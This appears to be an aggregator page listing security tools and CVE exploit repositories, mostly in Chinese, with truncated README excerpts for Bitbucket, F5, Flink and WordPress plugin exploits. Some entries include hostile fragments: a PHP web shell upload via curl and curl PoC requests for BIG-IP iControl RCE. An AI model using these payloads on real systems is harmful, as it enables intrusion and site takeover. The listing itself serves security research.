BARK

BARK BARK 代表 BloodHound Attack Research Kit（BloodHound 攻击研究工具包）。它是一个 PowerShell 脚本，旨在帮助 BloodHound Enterprise 团队研究和持续验证滥用原语。BARK 目前专注于微软的 Azure 系列产品和服务。 BARK 不需要任何第三方依赖。BARK 的函数设计得尽可能简单且易于维护。大多数函数只是用于向各种 REST API 端点发出请求的简单包装器。BARK 的基本函数甚至不依赖彼此——你可以将几乎任何 BARK 函数独立提取出来，它都能作为独立函数在你自己的脚本中完美运行。 作者与贡献者...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Bitbucket 远程命令执行 RCE 空字节参数注入的技术分析与实验室利用 漏洞概要 CVE-2022-36804 是 Atlassian Bitbucket Server 和 Data Center 的 REST API 中的一个高危/严重 参数注入 漏洞。 虽然官方 NVD 国家漏洞数据库的基础评分为 8.8（高危） ，基于需要读取权限 PR:L 的假设，但本分析将其视为 9.8（严重） 漏洞 PR:N。如果目标仓库启用了公共访问（一种常见配置），则利用向量完全变为未经身份验证。 本仓库记录了该漏洞利用的完整链式实验室复现，直接基于 Assetno...

REST-Attacker

REST-Attacker REST-Attacker 是一个针对遵循 REST 架构风格的 API 的自动化渗透测试框架。 该工具专注于通过完全自动化测试过程（包括测试生成、访问控制处理和报告生成）来简化通用 REST API 实现的分析，且仅需最少的配置工作。此外，REST-Attacker 设计灵活且可扩展，同时支持大规模测试和细粒度分析。 REST-Attacker 由波鸿鲁尔大学 网络与数据安全教席 维护。 特性 REST-Attacker 目前提供以下特性： 自动化测试生成 利用 OpenAPI 描述自动生成测试运行 基于 OWASP 及其他科学贡献的 32 项集成安全测试...

WSSAT

WSSAT - Web服务安全评估工具 WSSAT是一个开源Web服务安全扫描工具，提供动态环境，只需编辑配置文件即可添加、更新或删除漏洞。该工具接受WSDL地址列表作为输入文件，并对每个服务执行针对安全漏洞的静态和动态测试。它还进行信息泄露检查。 使用此工具，可以一次性分析所有Web服务，组织可以查看整体安全评估。 WSSAT的目标是让组织能够： 一次性执行其Web服务安全分析 通过报告查看整体安全评估 强化其Web服务 WSSAT 2.0 新增了REST API 扫描支持，采用与SOAP服务相同的动态漏洞管理环境理念。变更日志 WSSAT的主要能力包括： 动态测试： 不安全通信 -...

ADOKit

ADOKit 描述 Azure DevOps Services 攻击工具包 - ADOKit 是一款可利用 Azure DevOps Services 的 REST API 对其进行攻击的工具包。用户可以为相应的 Azure DevOps Services 实例指定攻击模块，同时提供有效的凭据（API 密钥或窃取的身份验证 Cookie）。支持的攻击模块包括侦察、权限提升和持久化。ADOKit 采用模块化设计，便于信息安全社区日后添加新模块。 有关 ADOKit 所用技术的完整详情，请参阅 X-Force Red 白皮书。 Black Hat USA Arsenal 2024 本仓库的...

CVE-2026-8206

CVE-2026-8206 - Kirki WordPress 插件批量利用工具 CVE-2026-8206 批量利用工具 – 针对 Kirki WordPress 插件（版本 ≤ 6.0.6）中的一个严重漏洞，允许未经身份验证的攻击者劫持密码重置链接并接管任何用户帐户，包括管理员。 漏洞概述 Kirki 插件暴露了一个未经身份验证的 REST 端点（/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password）。由于缺少权限检查和不正确的电子邮件验证，攻击者可以： 为任何有效用户名请求密码重置...

Doozer

Doozer Doozer 是一款可扩展的自动化哈希破解工具，用于自动解析、破解和组织密码哈希。目前，Doozer 支持 nt/lm、ntlmv1 和 ntlmv2 哈希（来自 Responder 或 SAM），但其模块化架构允许轻松插入其他哈希类型。一个基于 Django 的简单 Web 界面使用户能够实时查看破解会话、查看会话结果以及搜索哈希数据库。此外，还暴露了一个简单的 REST API，使脚本能够轻松与数据库交互。 Doozer 具备文件夹监控功能；为提供无缝的哈希破解方法，Doozer 允许您设置一个文件夹，用于监控哈希文件。一旦文件被放入此位置，Doozer...

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 RCE por Deserialización de XML Este repositorio demuestra la explotación de Apache Struts S2-052 CVE-2017-9805 mediante deserialización maliciosa de XML. El exploit fue desarrollado mientras se resolvía el laboratorio INE eWPTX Practice Range – Struts XML Deserialization RCE...

CVE-2024-9707

CVE-2024-9707 Hunk Companion = 1.8.4 - 缺少授权导致未认证的任意插件安装/激活 描述 WordPress 的 Hunk Companion 插件在 1.8.4 及之前的所有版本中，由于 /wp-json/hc/v1/themehunk-import REST API 端点缺少权限检查，因此容易受到未授权插件安装/激活的影响。这使得未认证的攻击者能够安装和激活任意插件；如果另一个存在漏洞的插件已被安装并激活，则可利用该漏洞实现远程代码执行。 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Rating:...

CVE-2023-28121-WordPress-Privilege-Escalation

🔐 CVE-2023-28121 — WordPress 权限提升 使用 WooCommerce Payments 插件对 WordPress 关键漏洞进行实际利用。 📌 摘要 CVE-2023-28121 允许通过 REST API 在无需身份验证的情况下创建管理员用户。 严重性：严重（CVSS 9.8） 影响：完全控制网站 类型：身份验证绕过 / 权限提升 超过 600.000 个活跃安装 - 2023 年 3 月 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utmsource=chatgpt.com 📊...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell： curl -...

CVE-2020-17518

CVE-2020-17518 Apache Flink RESTful API 目录遍历导致的任意文件上传漏洞 Apache Flink 是一个框架和分布式处理引擎，用于对无界和有界数据流进行有状态计算，使用 Java 和 Scala 开发。在 Apache Flink 1.5.1 中引入的一个 REST 处理器存在目录遍历漏洞，可导致任意文件上传。攻击者可以通过精心构造的 HTTP 请求将文件上传到本地文件系统的任意目录。 所有早于 1.11.3 的版本均受此漏洞影响，Apache Flink 已在 1.11.3 及更高版本中修复该漏洞。 存在漏洞的代码位于...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 的 POC，影响多个 F5 产品。 在 Twitter 上关注 Horizon3.ai 攻击团队以获取最新安全研究： Horizon3 Attack Team James Horseman Zach Hanley 技术分析 关于该漏洞的技术根本原因分析可以在我们的博客中找到： https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/ 总结 利用此漏洞的请求的必要条件： 1. Connection 标头必须包...

CVE-2023-32117

CVE-2023-32117 Integrate Google Drive ","username":"admin","name":"admin","email":"[email protected]","role":"Administrator","folders":,"id":2,"avatar":"img alt='' src="http:///%5C/%5C/2.gravatar.com%5C/avatar%5C/b58996c504c5638798eb6b511e6f49af?s=32&d=mm&r=g"...

mitmproxy2swagger

mitmproxy2swagger https://user-images.githubusercontent.com/5400940/168086818-c48f60ab-3f95-42eb-b435-c8b1a6326b81.mp4 A tool for automatically converting mitmproxy captures to OpenAPI 3.0 specifications. This means that you can automatically reverse-engineer REST APIs by just running the apps an...

Exploit for Improper Authentication in Fortinet Fortiproxy

CVE-2022-40684 — FortiOS / FortiProxy / FortiSwitchManager Aut...

OWASP-WSTG-Rag

OWASP WSTG RAG 一种检索增强生成（RAG）系统，它将OWASP Web安全测试指南（WSTG） 索引到向量数据库中，通过REST API和MCP（模型上下文协议）提供即时访问，并支持Claude Code集成。 特性 完整的WSTG覆盖 - 所有12个WSTG测试类别均已索引并支持搜索 语义搜索 - 使用自然语言查询查找相关测试方法 MCP集成 - 直接集成Claude Code，实现AI辅助渗透测试 REST API - 提供HTTP端点用于程序化访问 WSTG ID查询 - 通过WSTG标识符（例如 WSTG-INPV-05）检索完整测试用例 WSTG类别 类别|...

CVE-2021-22986-Poc

CVE-2021-22986-Poc 这是一个针对BIGIP iControl未经授权的远程代码执行（RCE）的PoC POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

grafeo

ACT 平台现已更名为 grafeo! Grafeo 是一个多功能平台，用于创建自定义数据模型、收集和分享知识。它是一个灵活、全面的解决方案，可用于任何目的。作为 ACT 研究项目 的一部分而开发， 它仍然是 ACT 的核心，并为 ACT 后端提供动力。在此处了解更多关于 ACT 的信息：https://github.com/mnemonic-no/act。 使用方法 Grafeo 提供一组 REST API。请参阅此 指南 了解如何使用 API。 安装 前置条件 Java 17 或更高版本，用于运行应用程序。 Maven，用于管理依赖、构建代码、运行单元测试等。 用于存储的 Apach...

CVE-2020-17518

Apache Flink目录遍历漏洞，可通过REST API读/写远程文件 漏洞编号： CVE-2020-17518 漏洞描述： CVE-2020-17518：通过REST API写入远程文件 受影响的版本： Flink 1.5.1-1.11.2 安全版本： Flink 1.11.3或Flink 1.12.0 Flink 1.5.1引入了REST API，可通过恶意修改的HTTP HEADER，将任意文件复制到文件系统的任意位置。 用法： 单个：python CVE-2020-17518.py -u http://IP:port 批量：python CVE-2020-17518.py -...